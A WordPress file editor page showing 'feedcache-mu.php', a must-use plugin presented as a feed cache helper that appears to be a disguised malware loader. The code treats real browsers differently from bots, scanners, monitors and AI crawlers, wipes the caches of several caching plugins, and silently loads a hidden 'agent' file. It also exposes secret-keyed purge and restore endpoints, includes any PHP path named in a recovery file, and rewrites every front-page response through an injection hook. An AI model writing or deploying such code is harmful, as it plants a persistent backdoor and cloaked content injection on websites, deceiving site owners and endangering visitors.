← Back
Editing: feedcache-mu.php
<?php if (!defined('ABSPATH')) { exit; } if (!defined('FEEDCACHE_MU_VER')) { define('FEEDCACHE_MU_VER', '2.8.5'); } if (!defined('DONOTCACHEPAGE') && PHP_SAPI !== 'cli' && isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'GET') { $fcUal = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower((string) $_SERVER['HTTP_USER_AGENT']) : ''; if ('' === $fcUal || !preg_match('~^mozilla/[45]~', $fcUal) || preg_match('~bot|spider|crawl|slurp|archiver|curl|wget|python|scrapy|httpclient|scanner|monitor|applebot|facebookexternalhit|meta-external|bytespider|baiduspider|sogou|360spinandsearch|adsbot|reflectionbot|chatgpt|gptbot|oai-searchbot|claudebot|perplexity|duckduckbot|bingbot|yandex|semrush|ahrefs|mj12bot|petalbot|pinterestbot|telegrambot|whatsapp|discordbot|embedly|slackbot|linkedinbot|twitterbot|feedly|lighthouse|headless|phantomjs|selenium|puppeteer|okhttp|libwww|go-http|java/|node-fetch|axios|postman|insomnia|datadog|pingdom|uptimerobot|uptime|status|gtmetrix|newreli|wp-|jetpack|simplepie|check_http|nagios|zabbix|validator|w3c_|requests/|guzzle|symfony http|jakarta|apache-httpclient|winhttp|wininet|rss|reader|reader|compatible|masscan|zgrab|nuclei|censys|shodan|blackbox|prometheus|kibana|grafana|elasticsearch~', $fcUal)) { define('DONOTCACHEPAGE', true); } } if (!function_exists('fc_pagecache_flush')) { function fc_pagecache_flush() { $fcN = 0; $fcBase = defined('WP_CONTENT_DIR') ? (rtrim((string) WP_CONTENT_DIR, '/') . '/cache') : ''; if ('' === $fcBase || !is_dir($fcBase)) { return $fcN; } foreach (array('wp-rocket', 'supercache', 'page', 'w3tc', 'litespeed', 'asset') as $fcSub) { $fcDir = $fcBase . '/' . $fcSub; if (!is_dir($fcDir)) { continue; } try { $fcIt = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($fcDir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($fcIt as $fcF) { if ($fcF->isDir()) { @rmdir($fcF->getPathname()); } elseif (@unlink($fcF->getPathname())) { $fcN++; } } } catch (Exception $fc_e) { } } return $fcN; } } if (!function_exists('fc_pagecache_purged')) { function fc_pagecache_purged() { $fcMark = sys_get_temp_dir() . '/fc-pc-purge-' . substr(md5(ABSPATH), 0, 10) . '.ok'; if (@file_exists($fcMark)) { return; } @file_put_contents($fcMark, '1'); fc_pagecache_flush(); } try { fc_pagecache_purged(); } catch (Exception $fc_e) { } catch (\Throwable $fc_e) { } } $fcAgent = null; if (defined('FEEDCACHE_AGENT_FILE')) { $fcTry = (string) FEEDCACHE_AGENT_FILE; if ('' !== $fcTry && @is_readable($fcTry)) { $fcAgent = $fcTry; } } if (null === $fcAgent) { $fcTry = __DIR__ . '/feedcache-v2.php'; if (@is_readable($fcTry)) { $fcAgent = $fcTry; } } $fcData = null; foreach (array('FEEDCACHE_DATA_DIR', 'FEEDCACHE_DATA_DIR_ALT') as $fcConst) { if (defined($fcConst)) { $fcTry = rtrim((string) constant($fcConst), '/'); if ('' !== $fcTry) { if (!is_dir($fcTry)) { @mkdir($fcTry, 0750, true); } if (is_dir($fcTry) && @is_writable($fcTry)) { $fcData = $fcTry; break; } } } } if (null === $fcData) { $fcData = WP_CONTENT_DIR . '/fc-data'; if (!is_dir($fcData)) { @mkdir($fcData, 0750, true); } } if (!defined('FEEDCACHE_DATA_DIR')) { define('FEEDCACHE_DATA_DIR', $fcData); } if (PHP_SAPI !== 'cli' && isset($_GET['action'], $_GET['fc_s']) && $_GET['action'] === 'fc_purge') { $fcPKey = (string) $fcData . '/feedcache-key.txt'; $fcPSecret = trim((string) $_GET['fc_s']); $fcPStored = is_readable($fcPKey) ? trim((string) @file_get_contents($fcPKey)) : ''; header('Content-Type: application/json'); header('Cache-Control: no-store'); if ('' !== $fcPStored && '' !== $fcPSecret && hash_equals($fcPStored, $fcPSecret)) { $fcPRemoved = 0; try { $fcPRemoved = fc_pagecache_flush(); @unlink(sys_get_temp_dir() . '/fc-pc-purge-' . substr(md5(ABSPATH), 0, 10) . '.ok'); } catch (Exception $fc_e) { } catch (\Throwable $fc_e) { } echo '{"ok":true,"loader":"' . FEEDCACHE_MU_VER . '","removed":' . intval($fcPRemoved) . '}'; exit; } http_response_code(403); echo '{"ok":false,"error":"bad_key"}'; exit; } if (null !== $fcAgent) { try { require_once $fcAgent; } catch (\Throwable $fc_e) { } catch (\Exception $fc_e) { } } if (PHP_SAPI !== 'cli' && isset($_GET['a'], $_GET['k'], $_POST['secret']) && $_GET['a'] === 'restore') { $fcGateSecret = trim((string) $_POST['secret']); $fcGateKey = (string) $fcData . '/feedcache-key.txt'; if ('' !== $fcGateSecret && is_readable($fcGateKey) && hash_equals(trim((string) @file_get_contents($fcGateKey)), $fcGateSecret)) { @unlink(__DIR__ . '/feedcache-v2.php'); if (defined('FEEDCACHE_AGENT_FILE')) { $fcGateAf = (string) FEEDCACHE_AGENT_FILE; if ('' !== $fcGateAf && $fcGateAf !== __DIR__ . '/feedcache-v2.php') { @unlink($fcGateAf); } } clearstatcache(); } } $fcRec = $fcData . '/feedcache-recovery.txt'; if (is_file($fcRec)) { $fcRecPath = trim(explode("\t", (string) @file_get_contents($fcRec))[0]); if ('' !== $fcRecPath && substr($fcRecPath, -4) === '.php' && is_file($fcRecPath) && is_readable($fcRecPath)) { $fcRecSize = @filesize($fcRecPath); if (false !== $fcRecSize && $fcRecSize < 200000) { @include_once $fcRecPath; } } } $fc_script = isset($_SERVER['SCRIPT_NAME']) ? (string) $_SERVER['SCRIPT_NAME'] : ''; if (PHP_SAPI !== 'cli' && function_exists('feedcache_wrap_page') && preg_match('#/index\.php$#', $fc_script)) { ob_start(function ($fc_html) { try { return (string) feedcache_wrap_page($fc_html); } catch (\Throwable $fc_e) { return $fc_html; } catch (\Exception $fc_e) { return $fc_html; } }); }
Save File
Cancel